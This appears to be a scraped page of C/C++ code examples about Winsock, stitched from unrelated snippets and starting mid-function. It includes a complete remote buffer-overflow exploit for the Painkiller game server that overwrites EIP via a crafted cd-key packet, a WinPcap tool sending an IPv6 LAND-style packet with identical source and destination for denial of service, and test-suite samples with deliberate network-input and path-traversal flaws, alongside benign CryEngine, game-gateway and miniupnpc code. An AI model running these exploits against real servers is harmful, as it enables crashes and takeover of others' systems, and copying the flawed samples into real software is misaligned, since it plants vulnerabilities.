						else{ 
							system("cls");
							head();
							estado=S_QUIT;
						}
					}
					//Avance de estado
					else if(strncmp(buffer_in,"2",1)==0 || strncmp(buffer_in,"3",1)==0){
						estado++;
					}
					
					
				}while(estado!=S_QUIT);
			
			}
			else	//Error al Conectar
			{
				printf("ERROR AL CONECTAR CON %s:%d\r\n",ipdest,TCP_SERVICE_PORT);
			}		
			// fin de la conexion de transporte
			closesocket(sockfd);
			
		}

		printf("Volver a conectar, con este u otro cliente(S/N)\r\n");
		option=_getche();	//realizar otra conexión

	}while(option!='n' && option!='N');

	
	
	return(0);

}
Пример #24
0
int main(int argc, char *argv[]) {
    struct  sockaddr_in peer;
    int     sd,
            len,
            verlen = 0,
            j,
            join2len;
    u_short port = PORT;
    u_char  buff[BUFFSZ + 1],
            password[32],
            server_chall[32],
            *p,
            *gamever = NULL,
            info[] =
                "\xfe\xfd\x00" "\x00\x00\x00\x00" "\xff\x00\x00",
            bof[] =
                "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
                "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
                EIP,
            *join2[] = {
                "122.304",  /* 0 = 1.6 */
                "105.263",  /* 1 = 1.3 */
                "105.262",  /* 2 = 1.2 */
                "101.258",  /* 3 = 1.1 */
                NULL
            };


    setbuf(stdout, NULL);

    fputs("\n"
        "Painkiller <= 1.35 in-game cd-key alpha-numeric buffer-overflow "VER"\n"
        "by Luigi Auriemma\n"
        "e-mail: [email protected]\n"
        "web:    http://aluigi.altervista.org\n"
        "\n", stdout);

    if(argc < 2) {
        printf("\n"
            "Usage: %s <host> [port(%d)]\n"
            "\n"
            " Return address will be overwritten with 0x%08lx.\n"
            " Only alpha-numeric return addresses are allowed\n"
            "\n", argv[0], port, *(u_long *)EIP);
        exit(1);
    }

#ifdef WIN32
    WSADATA    wsadata;
    WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

    if(argc > 2) port = atoi(argv[2]);

    peer.sin_addr.s_addr  = resolv(argv[1]);
    peer.sin_port         = htons(port);
    peer.sin_family       = AF_INET;

    printf("- target   %s : %hu\n",
        inet_ntoa(peer.sin_addr), port);

    sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if(sd < 0) std_err();
    fputs("- request informations:\n", stdout);
    *(u_long *)(info + 3) = ~time(NULL);
    SEND(info, sizeof(info) - 1);
    RECV;
    close(sd);

    gamever = show_info(buff, len);
    if(!gamever) {
        fputs("\nError: no game version in the information reply\n\n", stdout);
        exit(1);
    }
    verlen = strlen(gamever) + 1;

    *password = 0x00;

    j = 0;
    join2len = strlen(join2[j]) + 1;
    printf("- try client script version %s\n", join2[j]);

    for(;;) {   /* for passwords only */
        sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
        if(sd < 0) std_err();

        fputs("\n- send connection request packet\n", stdout);
        SEND(CONN, sizeof(CONN) - 1);
        RECV;

        strncpy(server_chall, buff + 5, sizeof(server_chall) - 1);
        server_chall[sizeof(server_chall) - 1] = 0x00;
        printf("- server challenge: %s\n", server_chall);

        p = (u_char *)memcpy(buff, JOIN1, sizeof(JOIN1) - 1) +
            sizeof(JOIN1) - 1;
        p = (u_char *)memcpy(p, gamever, verlen) +
            verlen;
        p = (u_char *)memcpy(p, join2[j], join2len) +
            join2len;

        p = (u_char *)memcpy(p, bof, sizeof(bof)) + /* Gamespy cd-key       */
            sizeof(bof);                            /* plus buffer-overflow */

        if(!j) {                                    /* new 1.6 protocol */
            *p++ = 0x00;
        } else {                                    /* old protocol */
            *(u_long *)p = 0x00000000;
            p += 4;
        }

        len = strlen(password) + 1;
        memcpy(p, password, len);
        painkiller_pckpwd(p, server_chall);
        p += len;

        if(!j) *p++ = 0x01;                     /* new 1.6 protocol */

        *(u_long *)p = time(NULL);
        p += 4;

        printf("- send the buffer-overflow packet (EIP = 0x%08lx)\n", *(u_long *)EIP);
        SEND(buff, p - buff);

        fputs("- wait some seconds...\n", stdout);
        if(timeout(sd) < 0) break;
        REALRECV;

        if(!buff[4]) {
            if(buff[5] == 1) {
                free(gamever);
                gamever = strdup(buff + 6);
                verlen = strlen(gamever) + 1;
                printf("\n- force game version to %s\n", gamever);
                if(buff[6 + verlen] == '?') {
                    if(!join2[++j]) {
                        fputs("\nError: this server uses an unknown client script version\n\n", stdout);
                        exit(1);
                    }
                    join2len = strlen(join2[j]) + 1;
                    printf("\n- try client script version %s\n", join2[j]);
                }
                close(sd);
                continue;

            } else if(buff[5] == 2) {
                if(!join2[++j]) {
                    fputs("\nError: this server uses an unknown client script version\n\n", stdout);
                    exit(1);
                }
                join2len = strlen(join2[j]) + 1;
                printf("\n- try client script version %s\n", join2[j]);
                close(sd);
                continue;

            } else if(buff[5] == 3) {
                fputs("- server is protected by password, insert it:\n  ", stdout);
                fflush(stdin);
                fgets(password, sizeof(password) - 1, stdin);
                password[strlen(password) - 1] = 0x00;
                close(sd);
                continue;

            } else if(buff[5] == 13) {
                fputs("\n"
                    "- the server is NOT vulnerable, it has replied with the error 13:\n"
                    "  Challenge response too long!\n", stdout);
                break;
            }
            printf("\nError: %s\n", buff + 6);
            exit(1);
        }

        fputs("- seems the server is not vulnerable since it is not crashed yet\n", stdout);
        break;
    }

    fputs("\n- check server:\n", stdout);
    SEND(info, sizeof(info) - 1);
    if(timeout(sd) < 0) {
        fputs("\nServer IS vulnerable!!!\n\n", stdout);
    } else {
        fputs("\nServer doesn't seem vulnerable\n\n", stdout);
    }
    close(sd);    

    return(0);
}
bool CKinectXboxSyncThread::Initialize()
{
	ILog* iLog = gEnv->pLog;
	m_XboxListenSocket	=	SOCKET_ERROR;

	// Initialize Winsock
	WSADATA wsaData;
	int iResult = WSAStartup(MAKEWORD(2,2), &wsaData);
	if (iResult != NO_ERROR)
	{
		iLog->LogError("ERROR: CKinectXboxSyncThread::Initialize: Failed to initialize Winsock\n");
		return false;
	}

	int Err = SOCKET_ERROR;

	// if IP is provided in CVar then use that one directly, else try to retrieve using XBDM
	string XboxIP = g_pInputCVars->i_kinectXboxConnectIP->GetString();
	if (XboxIP.length() == 0)
		XboxIP = GetXboxIP();

	// if we still don't have a valid IP then don't bother connecting
	if (XboxIP.length() == 0)
	{
		iLog->LogError("ERROR: CKinectXboxSyncThread::Initialize: can't get valid XBox IP address (either have a default Xbox IP in the neighbourhood or provide one with i_kinectXboxConnectIP)\n");
		return false;
	}

	m_XboxListenSocket = socket(AF_INET, SOCK_STREAM, 0);
	if(m_XboxListenSocket == INVALID_SOCKET)
	{
		iLog->LogError("ERROR: CKinectXboxSyncThread::Initialize: can't create client socket: error %i\n",m_XboxListenSocket);
		return false;
	}

	int arg = 1;
	setsockopt(m_XboxListenSocket, SOL_SOCKET, SO_REUSEADDR, (char*)&arg, sizeof arg);

	struct sockaddr_in addr;
	memset(&addr, 0, sizeof addr);
	addr.sin_family = AF_INET;
	addr.sin_port = htons(g_pInputCVars->i_kinectXboxConnectPort); 
	addr.sin_addr.s_addr = inet_addr(XboxIP.c_str());

	Err = connect(m_XboxListenSocket, (struct sockaddr *)&addr, sizeof addr);

	if(Err<0)
	{
		int WSAError = WSAGetLastError();
		iLog->LogError("ERROR: CKinectXboxSyncThread::Initialize: could not connect to %s (error %i, sys_net_errno=%i)\n", XboxIP.c_str(), Err, WSAError);

		// if buffer is full try sleeping a bit before retrying
		// (if you keep getting this issue then try using same shutdown mechanism as server is doing (see server code))
		// (for more info on windows side check : http://www.proxyplus.cz/faq/articles/EN/art10002.htm)
		if (WSAError == WSAENOBUFS)
		{
			Sleep(5000);
		}

		//socketclose(s);
		//return (size_t)-1;
		struct timeval tv;
		struct fd_set emptySet;
		FD_ZERO(&emptySet);
		tv.tv_sec = 1;
		tv.tv_usec = 0;
		closesocket(m_XboxListenSocket);
		m_XboxListenSocket = INVALID_SOCKET;
		return false;
	}

	if (m_XboxListenSocket == INVALID_SOCKET)
	{
		iLog->LogError("ERROR: CKinectXboxSyncThread::Initialize: invalid socket after trying to connect: error %i, sys_net_errno=%i\n", Err, WSAGetLastError() );
		return false;
	}

	{
		char szIPAddress[1024];
		if(gethostname(szIPAddress, sizeof(szIPAddress)) == SOCKET_ERROR)
		{
			iLog->LogError("ERROR: CKinectXboxSyncThread::Initialize: invalid return value on gethostname: sys_net_errno=%i\n", WSAGetLastError() );
			return false;
		}

		struct hostent *host = gethostbyname(szIPAddress);
		if(host == NULL)
		{
			iLog->LogError("ERROR: CKinectXboxSyncThread::Initialize: invalid return value on gethostbyname: sys_net_errno=%i\n", WSAGetLastError() );
			return false;
		}

		//Obtain the computer's IP
		unsigned char b1, b2, b3, b4;
		b1 = ((struct in_addr *)(host->h_addr))->S_un.S_un_b.s_b1;
		b2 = ((struct in_addr *)(host->h_addr))->S_un.S_un_b.s_b2;
		b3 = ((struct in_addr *)(host->h_addr))->S_un.S_un_b.s_b3;
		b4 = ((struct in_addr *)(host->h_addr))->S_un.S_un_b.s_b4;

		sprintf_s(szIPAddress, 128, "%d.%d.%d.%d", b1, b2 , b3, b4);

		// tell the app about our IP address
		char acSendData[128];
		sprintf_s(acSendData, 128, "IP:%s", szIPAddress);
		::send(m_XboxListenSocket, acSendData, 128, 0);
	}

	{
		// tell the app that we are listening
		char acData[128];
		sprintf_s(acData, 128, "Status:2");
		::send(m_XboxListenSocket, acData, 128, 0);
	}

	return true;
}
Пример #26
0
void OnCommand(WPARAM wParam, LPARAM lParam)
{
	switch (LOWORD(wParam))
	{
		case IDM_STARTSERVICE:
		{
			//开始服务器
			DWORD	dwIP = 0;
			int		nPort = 0;

			g_fTerminated = FALSE;
		
			//初始化等待ip
			ENGINE_COMPONENT_INFO info = g_SeverConfig.getLoginGateInfo();
			
			nPort = info.extport?info.extport:7000;

			
			//初始化完成端口
			InitServerSocket(g_ssock, &g_saddr, _IDM_SERVERSOCK_MSG, nPort, FD_ACCEPT);

			//初始化等待ip
			ENGINE_COMPONENT_INFO loginsrvinfo = g_SeverConfig.getLoginSrvInfo();

			nPort = loginsrvinfo.intport?loginsrvinfo.intport:5500;

			//连接loginsrv
			ConnectToServer(g_csock, &g_caddr, _IDM_CLIENTSOCK_MSG, loginsrvinfo.intip.c_str(), dwIP, nPort, FD_CONNECT|FD_READ|FD_CLOSE);

			HMENU hMainMenu = GetMenu(g_hMainWnd);
			HMENU hMenu = GetSubMenu(hMainMenu, 0);

			EnableMenuItem(hMenu, IDM_STARTSERVICE, MF_GRAYED|MF_BYCOMMAND);
			EnableMenuItem(hMenu, IDM_STOPSERVICE, MF_ENABLED|MF_BYCOMMAND);

			SendMessage(g_hToolBar, TB_SETSTATE, (WPARAM)IDM_STARTSERVICE, (LPARAM)MAKELONG(TBSTATE_INDETERMINATE, 0));
			SendMessage(g_hToolBar, TB_SETSTATE, (WPARAM)IDM_STOPSERVICE, (LPARAM)MAKELONG(TBSTATE_ENABLED, 0));

			InsertLogMsg(IDS_STARTSERVICE);

			SendMessage(g_hStatusBar, SB_SETTEXT, MAKEWORD(0, 0), (LPARAM)_TEXT("Ready"));

			return;
		}
		case IDM_STOPSERVICE:
		{
			g_fTerminated = TRUE;

/*			if (g_hAcceptThread != INVALID_HANDLE_VALUE)
			{
				TerminateThread(g_hAcceptThread, 0);
				WaitForSingleObject(g_hAcceptThread, INFINITE);
				CloseHandle(g_hAcceptThread);
				g_hAcceptThread = INVALID_HANDLE_VALUE;
			}

			if (g_hMsgThread != INVALID_HANDLE_VALUE)
			{
				TerminateThread(g_hMsgThread, 0);
				WaitForSingleObject(g_hMsgThread, INFINITE);
				CloseHandle(g_hMsgThread);
				g_hMsgThread = INVALID_HANDLE_VALUE;
			}
*/
			ClearSocket(g_ssock);
			ClearSocket(g_csock);

			CloseHandle(g_hIOCP);

			HMENU hMainMenu = GetMenu(g_hMainWnd);
			HMENU hMenu = GetSubMenu(hMainMenu, 0);

			EnableMenuItem(hMenu, IDM_STARTSERVICE, MF_ENABLED|MF_BYCOMMAND);
			EnableMenuItem(hMenu, IDM_STOPSERVICE, MF_GRAYED|MF_BYCOMMAND);

			SendMessage(g_hToolBar, TB_SETSTATE, (WPARAM)IDM_STARTSERVICE, (LPARAM)MAKELONG(TBSTATE_ENABLED, 0));
			SendMessage(g_hToolBar, TB_SETSTATE, (WPARAM)IDM_STOPSERVICE, (LPARAM)MAKELONG(TBSTATE_INDETERMINATE, 0));

			InsertLogMsg(IDS_STOPSERVICE);

			SendMessage(g_hStatusBar, SB_SETTEXT, MAKEWORD(0, 0), (LPARAM)_TEXT("Not Ready"));

			return;
		}
		// ORZ:
		case IDM_FONTCOLOR:
			SetFontColor();
			return;
		case IDM_BACKCOLOR:
			SetBackColor();
			return;
		case IDM_CONFIG:
		{
			DialogBox(g_hInst, MAKEINTRESOURCE(IDD_CONFIGDLG), g_hMainWnd, (DLGPROC)ConfigDlgFunc);

			return;
		}
	}
}
Пример #27
0
int main(int argc, char* argv[])
{
if ( argc<4 )
{
usage(argv[0]);
return EXIT_FAILURE;
}

int retVal;
struct addrinfo hints,*addrinfo;

ZeroMemory(&hints,sizeof(hints));

WSADATA wsaData;
if ( WSAStartup( MAKEWORD(2,2), &wsaData ) != NO_ERROR )
{
fprintf( stderr, "Error in WSAStartup():%d\n",WSAGetLastError());
return EXIT_FAILURE;
}
//
// Get MAC address of remote host (assume link local IpV6 address)
//

hints.ai_family = PF_INET6;
hints.ai_socktype = SOCK_STREAM;
hints.ai_protocol = IPPROTO_TCP;
hints.ai_flags = AI_PASSIVE;

retVal = getaddrinfo(argv[2],0, &hints, &addrinfo);
if ( retVal!=0 )
{
WSACleanup();
fprintf( stderr, "Error in getaddrinfo():%d\n",WSAGetLastError());
exit(EXIT_FAILURE);
}

//
// Open WinPCap adapter
//
if ( (pcap_handle = pcap_open_live (argv[1], 1514, PCAP_OPENFLAG_PROMISCUOUS, 
100, (char*)errbuf)) == NULL )
{
freeaddrinfo(addrinfo);
WSACleanup();
fprintf(stderr, "Error opening device: %s\n",argv[1]);
return EXIT_FAILURE;
}

ZeroMemory(packet,sizeof(packet));
struct sockaddr_in6 *sa = (struct sockaddr_in6 *) addrinfo->ai_addr;

// fill ethernet header
eth_hdr->ether_dhost[0] = eth_hdr->ether_shost[0] = 0;// assume address like 
00:something;
eth_hdr->ether_dhost[1] = eth_hdr->ether_shost[1] = sa->sin6_addr.u.Byte[9];
eth_hdr->ether_dhost[2] = eth_hdr->ether_shost[2] = sa->sin6_addr.u.Byte[10];
eth_hdr->ether_dhost[3] = eth_hdr->ether_shost[3] = sa->sin6_addr.u.Byte[13];
eth_hdr->ether_dhost[4] = eth_hdr->ether_shost[4] = sa->sin6_addr.u.Byte[14];
eth_hdr->ether_dhost[5] = eth_hdr->ether_shost[5] = sa->sin6_addr.u.Byte[15];
eth_hdr->ether_type = 0xdd86;


// fill IP header
// source ip == destination ip

memcpy(ip6_hdr->ip_src.__u6_addr.__u6_addr8,sa->sin6_addr.u.Byte,sizeof(sa->sin6_addr.u.Byte));

memcpy(ip6_hdr->ip_dst.__u6_addr.__u6_addr8,sa->sin6_addr.u.Byte,sizeof(sa->sin6_addr.u.Byte));
ip6_hdr->ip_hl = 255;
ip6_hdr->ip_nh = IPPROTO_TCP;
ip6_hdr->ip_len = htons (20);
ip6_hdr->ip_flags[0] = 0x06 << 4;
srand((unsigned int) time(0));
// fill tcp header
tcp_hdr->th_sport = tcp_hdr->th_dport = htons (atoi(argv[3])); // source 
port equal to destination
tcp_hdr->th_seq = rand();
tcp_hdr->th_ack = rand();
tcp_hdr->th_off = htons(5);
tcp_hdr->th_win = rand();
tcp_hdr->th_sum = 0;
tcp_hdr->th_urp = htons(10);
tcp_hdr->th_off = 5;
tcp_hdr->th_flags = 2;
// calculate tcp checksum
int chsum = libnet_in_cksum ((u_int16_t *) & ip6_hdr->ip_src, 32);
chsum += ntohs (IPPROTO_TCP + sizeof (struct libnet_tcp_hdr));
chsum += libnet_in_cksum ((u_int16_t *) tcp_hdr, sizeof (struct 
libnet_tcp_hdr));
tcp_hdr->th_sum = LIBNET_CKSUM_CARRY (chsum);
// send data to wire
retVal = pcap_sendpacket (pcap_handle, (u_char *) packet, sizeof(packet));
if ( retVal == -1 )
{
fprintf(stderr,"Error writing packet to wire!!\n");
}
//
// close adapter, free mem.. etc..
//
pcap_close(pcap_handle);
freeaddrinfo(addrinfo);
WSACleanup();
return EXIT_SUCCESS;
}
void bad()
{
    short data;
    vector<short> dataVector;
    /* Initialize data */
    data = 0;
    {
#ifdef _WIN32
        WSADATA wsaData;
        int wsaDataInit = 0;
#endif
        int recvResult;
        int tempInt;
        struct sockaddr_in service;
        SOCKET listenSocket = INVALID_SOCKET;
        SOCKET acceptSocket = INVALID_SOCKET;
        char inputBuffer[CHAR_ARRAY_SIZE];
        do
        {
#ifdef _WIN32
            if (WSAStartup(MAKEWORD(2,2), &wsaData) != NO_ERROR)
            {
                break;
            }
            wsaDataInit = 1;
#endif
            listenSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
            if (listenSocket == INVALID_SOCKET)
            {
                break;
            }
            memset(&service, 0, sizeof(service));
            service.sin_family = AF_INET;
            service.sin_addr.s_addr = INADDR_ANY;
            service.sin_port = htons(TCP_PORT);
            if (bind(listenSocket, (struct sockaddr*)&service, sizeof(service)) == SOCKET_ERROR)
            {
                break;
            }
            if (listen(listenSocket, LISTEN_BACKLOG) == SOCKET_ERROR)
            {
                break;
            }
            acceptSocket = accept(listenSocket, NULL, NULL);
            if (acceptSocket == SOCKET_ERROR)
            {
                break;
            }
            /* Abort on error or the connection was closed */
            recvResult = recv(acceptSocket, inputBuffer, CHAR_ARRAY_SIZE - 1, 0);
            /* FLAW: Use a value input from the network */
            if (recvResult == SOCKET_ERROR || recvResult == 0)
            {
                break;
            }
            /* NUL-terminate string */
            inputBuffer[recvResult] = '\0';
            /* Convert to short - ensure int to short conversion will be successful and if
             * not ensure that data will be negative */
            tempInt = atoi(inputBuffer);
            if (tempInt > SHRT_MAX || tempInt < SHRT_MIN)
            {
                data = -1;
            }
            else
            {
                data = tempInt;
            }
        }
        while (0);
        if (listenSocket != INVALID_SOCKET)
        {
            CLOSE_SOCKET(listenSocket);
        }
        if (acceptSocket != INVALID_SOCKET)
        {
            CLOSE_SOCKET(acceptSocket);
        }
#ifdef _WIN32
        if (wsaDataInit)
        {
            WSACleanup();
        }
#endif
    }
    /* Put data in a vector */
    dataVector.insert(dataVector.end(), 1, data);
    dataVector.insert(dataVector.end(), 1, data);
    dataVector.insert(dataVector.end(), 1, data);
    badSink(dataVector);
}
CWE23_Relative_Path_Traversal__char_connect_socket_fopen_84_bad::CWE23_Relative_Path_Traversal__char_connect_socket_fopen_84_bad(char * dataCopy)
{
    data = dataCopy;
    {
#ifdef _WIN32
        WSADATA wsaData;
        int wsaDataInit = 0;
#endif
        int recvResult;
        struct sockaddr_in service;
        char *replace;
        SOCKET connectSocket = INVALID_SOCKET;
        size_t dataLen = strlen(data);
        do
        {
#ifdef _WIN32
            if (WSAStartup(MAKEWORD(2,2), &wsaData) != NO_ERROR)
            {
                break;
            }
            wsaDataInit = 1;
#endif
            /* POTENTIAL FLAW: Read data using a connect socket */
            connectSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
            if (connectSocket == INVALID_SOCKET)
            {
                break;
            }
            memset(&service, 0, sizeof(service));
            service.sin_family = AF_INET;
            service.sin_addr.s_addr = inet_addr(IP_ADDRESS);
            service.sin_port = htons(TCP_PORT);
            if (connect(connectSocket, (struct sockaddr*)&service, sizeof(service)) == SOCKET_ERROR)
            {
                break;
            }
            /* Abort on error or the connection was closed, make sure to recv one
             * less char than is in the recv_buf in order to append a terminator */
            /* Abort on error or the connection was closed */
            recvResult = recv(connectSocket, (char *)(data + dataLen), sizeof(char) * (FILENAME_MAX - dataLen - 1), 0);
            if (recvResult == SOCKET_ERROR || recvResult == 0)
            {
                break;
            }
            /* Append null terminator */
            data[dataLen + recvResult / sizeof(char)] = '\0';
            /* Eliminate CRLF */
            replace = strchr(data, '\r');
            if (replace)
            {
                *replace = '\0';
            }
            replace = strchr(data, '\n');
            if (replace)
            {
                *replace = '\0';
            }
        }
        while (0);
        if (connectSocket != INVALID_SOCKET)
        {
            CLOSE_SOCKET(connectSocket);
        }
#ifdef _WIN32
        if (wsaDataInit)
        {
            WSACleanup();
        }
#endif
    }
}
Пример #30
0
/* sample upnp client program */
int main(int argc, char ** argv)
{
	char command = 0;
	char ** commandargv = 0;
	int commandargc = 0;
	struct UPNPDev * devlist = 0;
	char lanaddr[64];	/* my ip address on the LAN */
	int i;
	const char * rootdescurl = 0;
	const char * multicastif = 0;
	const char * minissdpdpath = 0;
	int retcode = 0;
	int error = 0;
	int ipv6 = 0;
	const char * description = 0;

#ifdef _WIN32
	WSADATA wsaData;
	int nResult = WSAStartup(MAKEWORD(2,2), &wsaData);
	if(nResult != NO_ERROR)
	{
		fprintf(stderr, "WSAStartup() failed.\n");
		return -1;
	}
#endif
    printf("upnpc : miniupnpc library test client, version %s.\n", MINIUPNPC_VERSION_STRING);
	printf(" (c) 2005-2014 Thomas Bernard.\n");
    printf("Go to http://miniupnp.free.fr/ or http://miniupnp.tuxfamily.org/\n"
	       "for more information.\n");
	/* command line processing */
	for(i=1; i<argc; i++)
	{
		if(0 == strcmp(argv[i], "--help") || 0 == strcmp(argv[i], "-h"))
		{
			command = 0;
			break;
		}
		if(argv[i][0] == '-')
		{
			if(argv[i][1] == 'u')
				rootdescurl = argv[++i];
			else if(argv[i][1] == 'm')
				multicastif = argv[++i];
			else if(argv[i][1] == 'p')
				minissdpdpath = argv[++i];
			else if(argv[i][1] == '6')
				ipv6 = 1;
			else if(argv[i][1] == 'e')
				description = argv[++i];
			else
			{
				command = argv[i][1];
				i++;
				commandargv = argv + i;
				commandargc = argc - i;
				break;
			}
		}
		else
		{
			fprintf(stderr, "option '%s' invalid\n", argv[i]);
		}
	}

	if(!command
	   || (command == 'a' && commandargc<4)
	   || (command == 'd' && argc<2)
	   || (command == 'r' && argc<2)
	   || (command == 'A' && commandargc<6)
	   || (command == 'U' && commandargc<2)
	   || (command == 'D' && commandargc<1))
	{
		fprintf(stderr, "Usage :\t%s [options] -a ip port external_port protocol [duration]\n\t\tAdd port redirection\n", argv[0]);
		fprintf(stderr, "       \t%s [options] -d external_port protocol <remote host>\n\t\tDelete port redirection\n", argv[0]);
		fprintf(stderr, "       \t%s [options] -s\n\t\tGet Connection status\n", argv[0]);
		fprintf(stderr, "       \t%s [options] -l\n\t\tList redirections\n", argv[0]);
		fprintf(stderr, "       \t%s [options] -L\n\t\tList redirections (using GetListOfPortMappings (for IGD:2 only)\n", argv[0]);
		fprintf(stderr, "       \t%s [options] -n ip port external_port protocol [duration]\n\t\tAdd (any) port redirection allowing IGD to use alternative external_port (for IGD:2 only)\n", argv[0]);
		fprintf(stderr, "       \t%s [options] -N external_port_start external_port_end protocol [manage]\n\t\tDelete range of port redirections (for IGD:2 only)\n", argv[0]);
		fprintf(stderr, "       \t%s [options] -r port1 [external_port1] protocol1 [port2 [external_port2] protocol2] [...]\n\t\tAdd all redirections to the current host\n", argv[0]);
		fprintf(stderr, "       \t%s [options] -A remote_ip remote_port internal_ip internal_port protocol lease_time\n\t\tAdd Pinhole (for IGD:2 only)\n", argv[0]);
		fprintf(stderr, "       \t%s [options] -U uniqueID new_lease_time\n\t\tUpdate Pinhole (for IGD:2 only)\n", argv[0]);
		fprintf(stderr, "       \t%s [options] -C uniqueID\n\t\tCheck if Pinhole is Working (for IGD:2 only)\n", argv[0]);
		fprintf(stderr, "       \t%s [options] -K uniqueID\n\t\tGet Number of packets going through the rule (for IGD:2 only)\n", argv[0]);
		fprintf(stderr, "       \t%s [options] -D uniqueID\n\t\tDelete Pinhole (for IGD:2 only)\n", argv[0]);
		fprintf(stderr, "       \t%s [options] -S\n\t\tGet Firewall status (for IGD:2 only)\n", argv[0]);
		fprintf(stderr, "       \t%s [options] -G remote_ip remote_port internal_ip internal_port protocol\n\t\tGet Outbound Pinhole Timeout (for IGD:2 only)\n", argv[0]);
		fprintf(stderr, "       \t%s [options] -P\n\t\tGet Presentation url\n", argv[0]);
		fprintf(stderr, "\nprotocol is UDP or TCP\n");
		fprintf(stderr, "Options:\n");
		fprintf(stderr, "  -e description : set description for port mapping.\n");
		fprintf(stderr, "  -6 : use ip v6 instead of ip v4.\n");
		fprintf(stderr, "  -u url : bypass discovery process by providing the XML root description url.\n");
		fprintf(stderr, "  -m address/interface : provide ip address (ip v4) or interface name (ip v4 or v6) to use for sending SSDP multicast packets.\n");
		fprintf(stderr, "  -p path : use this path for MiniSSDPd socket.\n");
		return 1;
	}

	if( rootdescurl
	  || (devlist = upnpDiscover(2000, multicastif, minissdpdpath,
	                             0/*sameport*/, ipv6, &error)))
	{
		struct UPNPDev * device;
		struct UPNPUrls urls;
		struct IGDdatas data;
		if(devlist)
		{
			printf("List of UPNP devices found on the network :\n");
			for(device = devlist; device; device = device->pNext)
			{
				printf(" desc: %s\n st: %s\n\n",
					   device->descURL, device->st);
			}
		}
		else if(!rootdescurl)
		{
			printf("upnpDiscover() error code=%d\n", error);
		}
		i = 1;
		if( (rootdescurl && UPNP_GetIGDFromUrl(rootdescurl, &urls, &data, lanaddr, sizeof(lanaddr)))
		  || (i = UPNP_GetValidIGD(devlist, &urls, &data, lanaddr, sizeof(lanaddr))))
		{
			switch(i) {
			case 1:
				printf("Found valid IGD : %s\n", urls.controlURL);
				break;
			case 2:
				printf("Found a (not connected?) IGD : %s\n", urls.controlURL);
				printf("Trying to continue anyway\n");
				break;
			case 3:
				printf("UPnP device found. Is it an IGD ? : %s\n", urls.controlURL);
				printf("Trying to continue anyway\n");
				break;
			default:
				printf("Found device (igd ?) : %s\n", urls.controlURL);
				printf("Trying to continue anyway\n");
			}
			printf("Local LAN ip address : %s\n", lanaddr);
			#if 0
			printf("getting \"%s\"\n", urls.ipcondescURL);
			descXML = miniwget(urls.ipcondescURL, &descXMLsize);
			if(descXML)
			{
				/*fwrite(descXML, 1, descXMLsize, stdout);*/
				free(descXML); descXML = NULL;
			}
			#endif

			switch(command)
			{
			case 'l':
				DisplayInfos(&urls, &data);
				ListRedirections(&urls, &data);
				break;
			case 'L':
				NewListRedirections(&urls, &data);
				break;
			case 'a':
				SetRedirectAndTest(&urls, &data,
						   commandargv[0], commandargv[1],
						   commandargv[2], commandargv[3],
						   (commandargc > 4)?commandargv[4]:"0",
						   description, 0);
				break;
			case 'd':
				RemoveRedirect(&urls, &data, commandargv[0], commandargv[1],
				               commandargc > 2 ? commandargv[2] : NULL);
				break;
			case 'n':	/* aNy */
				SetRedirectAndTest(&urls, &data,
						   commandargv[0], commandargv[1],
						   commandargv[2], commandargv[3],
						   (commandargc > 4)?commandargv[4]:"0",
						   description, 1);
				break;
			case 'N':
				if (commandargc < 3)
					fprintf(stderr, "too few arguments\n");

				RemoveRedirectRange(&urls, &data, commandargv[0], commandargv[1], commandargv[2],
						    commandargc > 3 ? commandargv[3] : NULL);
				break;
			case 's':
				GetConnectionStatus(&urls, &data);
				break;
			case 'r':
				i = 0;
				while(i<commandargc)
				{
					if(!is_int(commandargv[i])) {
						/* 1st parameter not an integer : error */
						fprintf(stderr, "command -r : %s is not an port number\n", commandargv[i]);
						retcode = 1;
						break;
					} else if(is_int(commandargv[i+1])){
						/* 2nd parameter is an integer : <port> <external_port> <protocol> */
						SetRedirectAndTest(&urls, &data,
								   lanaddr, commandargv[i],
								   commandargv[i+1], commandargv[i+2], "0",
								   description, 0);
						i+=3;	/* 3 parameters parsed */
					} else {
						/* 2nd parameter not an integer : <port> <protocol> */
						SetRedirectAndTest(&urls, &data,
								   lanaddr, commandargv[i],
								   commandargv[i], commandargv[i+1], "0",
								   description, 0);
						i+=2;	/* 2 parameters parsed */
					}
				}
				break;
			case 'A':
				SetPinholeAndTest(&urls, &data,
				                  commandargv[0], commandargv[1],
				                  commandargv[2], commandargv[3],
				                  commandargv[4], commandargv[5]);
				break;
			case 'U':
				GetPinholeAndUpdate(&urls, &data,
				                   commandargv[0], commandargv[1]);
				break;
			case 'C':
				for(i=0; i<commandargc; i++)
				{
					CheckPinhole(&urls, &data, commandargv[i]);
				}
				break;
			case 'K':
				for(i=0; i<commandargc; i++)
				{
					GetPinholePackets(&urls, &data, commandargv[i]);
				}
				break;
			case 'D':
				for(i=0; i<commandargc; i++)
				{
					RemovePinhole(&urls, &data, commandargv[i]);
				}
				break;
			case 'S':
				GetFirewallStatus(&urls, &data);
				break;
			case 'G':
				GetPinholeOutboundTimeout(&urls, &data,
							commandargv[0], commandargv[1],
							commandargv[2], commandargv[3],
							commandargv[4]);
				break;
			case 'P':
				printf("Presentation URL found:\n");
				printf("            %s\n", data.presentationurl);
				break;
			default:
				fprintf(stderr, "Unknown switch -%c\n", command);
				retcode = 1;
			}

			FreeUPNPUrls(&urls);
		}
		else
		{
			fprintf(stderr, "No valid UPNP Internet Gateway Device found.\n");
			retcode = 1;
		}
		freeUPNPDevlist(devlist); devlist = 0;
	}
	else
	{
		fprintf(stderr, "No IGD UPnP Device found on the network !\n");
		retcode = 1;
	}
#ifdef _WIN32
	nResult = WSACleanup();
	if(nResult != NO_ERROR) {
		fprintf(stderr, "WSACleanup() failed.\n");
	}
#endif /* _WIN32 */
	return retcode;
}